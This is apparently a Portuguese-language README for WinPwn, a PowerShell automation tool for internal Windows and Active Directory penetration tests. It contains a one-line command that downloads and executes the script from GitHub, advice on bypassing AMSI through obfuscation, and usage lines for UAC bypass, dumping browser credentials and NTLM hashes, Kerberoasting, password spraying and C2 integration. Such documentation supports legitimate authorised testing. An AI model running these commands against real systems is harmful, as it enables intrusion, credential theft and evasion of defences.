
Automação para testes de penetração internos em Windows / AD-Security
Em muitos testes de penetração interna anteriores, muitas vezes tive problemas com os scripts existentes de Powershell Recon / Exploitation devido à falta de suporte a proxy. Também costumava executar os mesmos scripts um após o outro para obter informações sobre o sistema atual e/ou o domínio. Para automatizar o máximo possível de processos de teste de penetração interna (reconhecimento e exploração) e pela razão do proxy, escrevi meu próprio script com reconhecimento automático de proxy e integração. O script é baseado principalmente em outros grandes projetos de segurança ofensiva em Powershell bem conhecidos.
Qualquer sugestão, feedback, Pull requests e comentários são bem-vindos!
Basta importar os módulos com:
Import-Module .\WinPwn.ps1 ou
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Para contornar o AMSI, utilize uma das técnicas de bypass existentes, encontre o trigger do AMSI e altere-o manualmente na função de bypass ou codifique a string de trigger. Alternativamente, ofusque todo o script.
Se você se encontrar preso em um sistema Windows sem acesso à internet - sem problema, basta usar Offline_Winpwn.ps1, os scripts e executáveis mais importantes estão incluídos.
Funções disponíveis após importação:
WinPwn -> Menu para escolher ataques:
Inveigh -> Executa o Inveigh em uma nova janela do Console, ataques SMB-Relay com gerenciamento de sessão (Invoke-TheHash) integradoSessionGopher -> Executa o Sessiongopher solicitando parâmetrosKittielocal ->Localreconmodules ->Sem parâmetros, a maioria das funções só pode ser usada a partir de um shell interativo. Então decidi adicionar os parâmetros -noninteractive e -consoleoutput para tornar o script utilizável a partir de um framework C2 assíncrono como Empire, Covenant, Cobalt Strike ou outros.
Além disso, o parâmetro -repo foi adicionado para usar o WinPwn com todos os seus recursos a partir de um repositório local. Eles podem ser usados da seguinte forma:
Uso:
-noninteractive -> Sem perguntas para as funções, para que elas sejam executadas com parâmetros predefinidos ou definidos pelo usuário
-consoleoutput -> As pastas de loot/relatórios não são criadas. Cada função retorna a saída para o console para que você possa visualizar tudo nos logs do Agente do seu framework C2 Exemplos:
WinPwn -noninteractive -consoleoutput -DomainRecon -> Isso retornará cada script de reconhecimento de domínio e
função e provavelmente fornecerá muita saída
WinPwn -noninteractive -consoleoutput -Localrecon -> Isso enumerará o máximo de informações possível para o sistema
local
Generalrecon -noninteractive -> Executar funções básicas de reconhecimento local e armazenar a saída
nas pastas correspondentes
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Executar um stager em um processo de alta
integridade a partir de uma sessão de baixo privilégio
Kittielocal -noninteractive -consoleoutput -browsercredentials -> Despejar credenciais do navegador via Sharpweb
retornando a saída para o console
Kittielocal -noninteractive -browsercredentials -> Despejar hashes NTLM do arquivo SAM e armazenar
a saída em um arquivo
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Executar Seatbelt, PowerUp, Watson e
mais binários C# em memória
Dotnetsearch -consoleoutput -noninteractive -> Procurar em C:\Program Files\ e C:\Program Files (x86)\ por assemblies .NET
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Usar um servidor web local como repositório offline para usar o WinPwn sem acesso à internet
Get_WinPwn_Repo.sh:
Uso: ./Get_WinPwn_Repo.sh {Opção}
Exemplo: ./Get_WinPwn_Repo.sh --install
Opções: --install Baixar o repositório e colocá-lo em ./WinPwn_Repo/ --remove Remover o repositório ./WinPwn_Repo/ --reinstall Remover o repositório e baixar um novo para ./WinPwn_Repo/ --start-server Iniciar um servidor HTTP Python na porta 8000 --help Mostrar esta ajuda
O uso do WinPwn para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa. Use apenas para fins educacionais.
Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder e Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Pesquisa Snaffler ou Passhunt em todos os sistemas do domínioGroupsearch -> Get-DomainGPOUserLocalGroupMapping - encontrar sistemas onde você tem acesso de Admin ou RDP via mapeamento de Política de Grupo (Powerview / Powersploit)Kerberoasting -> Executa Invoke-Kerberoast em uma nova janela e armazena os hashes para cracking posteriorPowerSQL -> Descoberta de SQL Server, verificar acesso com o usuário atual, auditar credenciais padrão + ataques de injeção de UNCPathSharphound -> Relatório Bloodhound 3.0Adidnsmenu -> Criar nós DNS integrados ao Active Directory ou removê-losMS17-10 -> Escanear servidores Windows ativos no domínio ou todos os sistemas pela vulnerabilidade MS17-10 (Eternalblue)Sharpcradle -> Carregar arquivos C# de um servidor web remoto para a RAMDomainPassSpray -> Ataques DomainPasswordSpray, uma senha para todos os usuários do domínioBluekeep -> Scanner Bluekeep para sistemas do domínio